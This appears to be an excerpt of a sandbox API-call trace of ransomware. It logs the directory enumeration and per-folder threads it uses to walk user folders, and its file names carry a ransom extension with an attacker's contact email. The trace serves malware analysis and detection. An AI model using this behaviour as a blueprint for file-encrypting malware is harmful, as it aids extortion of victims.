(_String1="X40D_1yxA.ots.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.773] wcscmp (_String1="X40D_1yxA.ots.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.773] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88e7f5c0, ftCreationTime.dwHighDateTime=0x1d5750f, ftLastAccessTime.dwLowDateTime=0xa415b9b0, ftLastAccessTime.dwHighDateTime=0x1d5739b, ftLastWriteTime.dwLowDateTime=0xa415b9b0, ftLastWriteTime.dwHighDateTime=0x1d5739b, nFileSizeHigh=0x0, nFileSizeLow=0xd333, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XO6Uc7RxdV.docx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="XO6UC7~1.CD4")) returned 1 [0142.773] wcscmp (_String1="XO6Uc7RxdV.docx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.773] wcscmp (_String1="XO6Uc7RxdV.docx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.773] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0282c80, ftCreationTime.dwHighDateTime=0x1d4cad0, ftLastAccessTime.dwLowDateTime=0x3ffd5650, ftLastAccessTime.dwHighDateTime=0x1d4cb70, ftLastWriteTime.dwLowDateTime=0x3ffd5650, ftLastWriteTime.dwHighDateTime=0x1d4cb70, nFileSizeHigh=0x0, nFileSizeLow=0xeb9d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XOtwIUWuu0s.pptx.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="XOTWIU~1.CD4")) returned 1 [0142.773] wcscmp (_String1="XOtwIUWuu0s.pptx.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.773] wcscmp (_String1="XOtwIUWuu0s.pptx.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.773] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d4e200, ftCreationTime.dwHighDateTime=0x1d4ce94, ftLastAccessTime.dwLowDateTime=0x159f96d0, ftLastAccessTime.dwHighDateTime=0x1d4d574, ftLastWriteTime.dwLowDateTime=0x159f96d0, ftLastWriteTime.dwHighDateTime=0x1d4d574, nFileSizeHigh=0x0, nFileSizeLow=0xfd21, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xpxDNHO2UPjQQaq.odt.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="XPXDNH~1.CD4")) returned 1 [0142.773] wcscmp (_String1="xpxDNHO2UPjQQaq.odt.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.773] wcscmp (_String1="xpxDNHO2UPjQQaq.odt.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.773] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bedb650, ftCreationTime.dwHighDateTime=0x1d4cbeb, ftLastAccessTime.dwLowDateTime=0x2376e7d0, ftLastAccessTime.dwHighDateTime=0x1d4cc42, ftLastWriteTime.dwLowDateTime=0x2376e7d0, ftLastWriteTime.dwHighDateTime=0x1d4cc42, nFileSizeHigh=0x0, nFileSizeLow=0xd0cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XqhbQGBBxuz2zQT.odp.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="XQHBQG~1.CD4")) returned 1 [0142.773] wcscmp (_String1="XqhbQGBBxuz2zQT.odp.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.773] wcscmp (_String1="XqhbQGBBxuz2zQT.odp.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.773] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb24973f0, ftCreationTime.dwHighDateTime=0x1d4c7c5, ftLastAccessTime.dwLowDateTime=0x5346d7f0, ftLastAccessTime.dwHighDateTime=0x1d4c534, ftLastWriteTime.dwLowDateTime=0x5346d7f0, ftLastWriteTime.dwHighDateTime=0x1d4c534, nFileSizeHigh=0x0, nFileSizeLow=0xa980, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Y49k.pdf.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="Y49KPD~1.CD4")) returned 1 [0142.773] wcscmp (_String1="Y49k.pdf.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.773] wcscmp (_String1="Y49k.pdf.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.773] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd37342b0, ftCreationTime.dwHighDateTime=0x1d4cb9c, ftLastAccessTime.dwLowDateTime=0x1feb23b0, ftLastAccessTime.dwHighDateTime=0x1d4d52f, ftLastWriteTime.dwLowDateTime=0x1feb23b0, ftLastWriteTime.dwHighDateTime=0x1d4d52f, nFileSizeHigh=0x0, nFileSizeLow=0xf321, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zM7uBdyE.pdf.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="ZM7UBD~1.CD4")) returned 1 [0142.773] wcscmp (_String1="zM7uBdyE.pdf.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.773] wcscmp (_String1="zM7uBdyE.pdf.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.773] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bb5cb70, ftCreationTime.dwHighDateTime=0x1d4d256, ftLastAccessTime.dwLowDateTime=0x706dbc50, ftLastAccessTime.dwHighDateTime=0x1d4cadd, ftLastWriteTime.dwLowDateTime=0x706dbc50, ftLastWriteTime.dwHighDateTime=0x1d4cadd, nFileSizeHigh=0x0, nFileSizeLow=0x1779b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="zqjwOeZwbN1Zpb4PYGDN.odt.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="ZQJWOE~1.CD4")) returned 1 [0142.774] wcscmp (_String1="zqjwOeZwbN1Zpb4PYGDN.odt.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.774] wcscmp (_String1="zqjwOeZwbN1Zpb4PYGDN.odt.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.774] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eee7cb0, ftCreationTime.dwHighDateTime=0x1d4c84e, ftLastAccessTime.dwLowDateTime=0x4a7971a0, ftLastAccessTime.dwHighDateTime=0x1d4cb42, ftLastWriteTime.dwLowDateTime=0x4a7971a0, ftLastWriteTime.dwHighDateTime=0x1d4cb42, nFileSizeHigh=0x0, nFileSizeLow=0x32c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_5GFsgxE6scq.csv.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="_5GFSG~1.CD4")) returned 1 [0142.774] wcscmp (_String1="_5GFsgxE6scq.csv.mailto[2Hamlampampom@cock.li].cd46d", _String2=".") returned 1 [0142.774] wcscmp (_String1="_5GFsgxE6scq.csv.mailto[2Hamlampampom@cock.li].cd46d", _String2="..") returned 1 [0142.774] FindNextFileW (in: hFindFile=0x8da1d0, lpFindFileData=0x911d58 | out: lpFindFileData=0x911d58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7eee7cb0, ftCreationTime.dwHighDateTime=0x1d4c84e, ftLastAccessTime.dwLowDateTime=0x4a7971a0, ftLastAccessTime.dwHighDateTime=0x1d4cb42, ftLastWriteTime.dwLowDateTime=0x4a7971a0, ftLastWriteTime.dwHighDateTime=0x1d4cb42, nFileSizeHigh=0x0, nFileSizeLow=0x32c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_5GFsgxE6scq.csv.mailto[2Hamlampampom@cock.li].cd46d", cAlternateFileName="_5GFSG~1.CD4")) returned 0 [0142.774] FindClose (in: hFindFile=0x8da1d0 | out: hFindFile=0x8da1d0) returned 1 [0142.774] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911d58) returned 1 [0142.774] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff128) returned 1 [0142.774] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e43c8) returned 1 Thread: id = 1714 os_tid = 0x864 [0139.937] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x54) returned 0x8ff188 [0139.937] wcscpy (in: _Dest=0x8ff188, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads" [0139.937] wcscat (in: _Dest=0x8ff188, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\" [0139.937] wcscat (in: _Dest=0x8ff188, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*" [0139.937] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911fc0 [0139.937] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x8da210 [0139.938] wcscmp (_String1=".", _String2=".") returned 0 [0139.938] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.938] wcscmp (_String1="..", _String2=".") returned 1 [0139.938] wcscmp (_String1="..", _String2="..") returned 0 [0139.938] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0139.938] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0139.938] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0139.938] FindNextFileW (in: hFindFile=0x8da210, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0139.938] FindClose (in: hFindFile=0x8da210 | out: hFindFile=0x8da210) returned 1 [0139.938] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911fc0) returned 1 [0139.938] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff188) returned 1 [0139.938] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4420) returned 1 Thread: id = 1715 os_tid = 0x868 [0139.939] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x54) returned 0x8ff188 [0139.939] wcscpy (in: _Dest=0x8ff188, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0139.939] wcscat (in: _Dest=0x8ff188, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\" [0139.939] wcscat (in: _Dest=0x8ff188, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*" [0139.939] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911fc0 [0139.939] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942570 [0142.916] wcscmp (_String1=".", _String2=".") returned 0 [0142.916] FindNextFileW (in: hFindFile=0x942570, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.916] wcscmp (_String1="..", _String2=".") returned 1 [0142.916] wcscmp (_String1="..", _String2="..") returned 0 [0142.916] FindNextFileW (in: hFindFile=0x942570, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0142.916] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0142.916] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0142.916] FindNextFileW (in: hFindFile=0x942570, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa3c188c0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3c188c0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0142.916] wcscmp (_String1="Links", _String2=".") returned 1 [0142.916] wcscmp (_String1="Links", _String2="..") returned 1 [0142.916] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x5c) returned 0x90ea10 [0142.916] wcscpy (in: _Dest=0x90ea10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0142.916] wcscat (in: _Dest=0x90ea10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\" [0142.916] wcscat (in: _Dest=0x90ea10, _Source="Links" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Links" [0144.826] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x90ea10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x49c [0144.827] FindNextFileW (in: hFindFile=0x942570, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xa3ae7dc0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0xa3ae7dc0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0144.827] wcscmp (_String1="Microsoft Websites", _String2=".") returned 1 [0144.827] wcscmp (_String1="Microsoft Websites", _String2="..") returned 1 [0144.827] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x76) returned 0x99ec08 [0144.827] wcscpy (in: _Dest=0x99ec08, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0144.827] wcscat (in: _Dest=0x99ec08, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\" [0144.827] wcscat (in: _Dest=0x99ec08, _Source="Microsoft Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites" [0144.827] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x99ec08, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd7c [0144.828] FindNextFileW (in: hFindFile=0x942570, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0144.828] wcscmp (_String1="MSN Websites", _String2=".") returned 1 [0144.828] wcscmp (_String1="MSN Websites", _String2="..") returned 1 [0144.828] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93c9e0 [0144.828] wcscpy (in: _Dest=0x93c9e0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0144.828] wcscat (in: _Dest=0x93c9e0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\" [0144.828] wcscat (in: _Dest=0x93c9e0, _Source="MSN Websites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites" [0144.828] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x93c9e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd80 [0144.829] FindNextFileW (in: hFindFile=0x942570, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9fea70e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9fea70e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0144.829] wcscmp (_String1="Windows Live", _String2=".") returned 1 [0144.829] wcscmp (_String1="Windows Live", _String2="..") returned 1 [0144.829] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x6a) returned 0x93ca58 [0144.830] wcscpy (in: _Dest=0x93ca58, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites" [0144.830] wcscat (in: _Dest=0x93ca58, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\" [0144.830] wcscat (in: _Dest=0x93ca58, _Source="Windows Live" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Windows Live" [0144.830] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x93ca58, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd84 [0144.831] FindNextFileW (in: hFindFile=0x942570, lpFindFileData=0x911fc0 | out: lpFindFileData=0x911fc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x9fea70e0, ftLastAccessTime.dwHighDateTime=0x1d5945e, ftLastWriteTime.dwLowDateTime=0x9fea70e0, ftLastWriteTime.dwHighDateTime=0x1d5945e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0144.831] FindClose (in: hFindFile=0x942570 | out: hFindFile=0x942570) returned 1 [0144.832] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911fc0) returned 1 [0144.832] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8ff188) returned 1 [0144.832] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e4478) returned 1 Thread: id = 1716 os_tid = 0x86c [0139.940] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x4c) returned 0x8e4420 [0139.940] wcscpy (in: _Dest=0x8e4420, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links" [0139.940] wcscat (in: _Dest=0x8e4420, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\" [0139.940] wcscat (in: _Dest=0x8e4420, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*" [0139.940] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x912228 [0139.940] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x912228 | out: lpFindFileData=0x912228*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9425b0 [0142.919] wcscmp (_String1=".", _String2=".") returned 0 [0142.919] FindNextFileW (in: hFindFile=0x9425b0, lpFindFileData=0x912228 | out: lpFindFileData=0x912228*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0142.919] wcscmp (_String1="..", _String2=".") returned 1 [0142.919] wcscmp (_String1="..", _String2="..") returned 0 [0142.919] FindNextFileW (in: hFindFile=0x9425b0, lpFindFileData=0x912228 | out: lpFindFileData=0x912228*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0142.919] wcscmp (_String1="desktop.ini", _String2=".") returned 1 [0142.919] wcscmp (_String1="desktop.ini", _String2="..") returned 1 [0142.919] FindNextFileW (in: hFindFile=0x9425b0, lpFindFileData=0x912228 | out: lpFindFileData=0x912228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0142.919] wcscmp (_String1="Desktop.lnk", _String2=".") returned 1 [0142.919] wcscmp (_String1="Desktop.lnk", _String2="..") returned 1 [0142.919] FindNextFileW (in: hFindFile=0x9425b0, lpFindFileData=0x912228 | out: lpFindFileData=0x912228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, 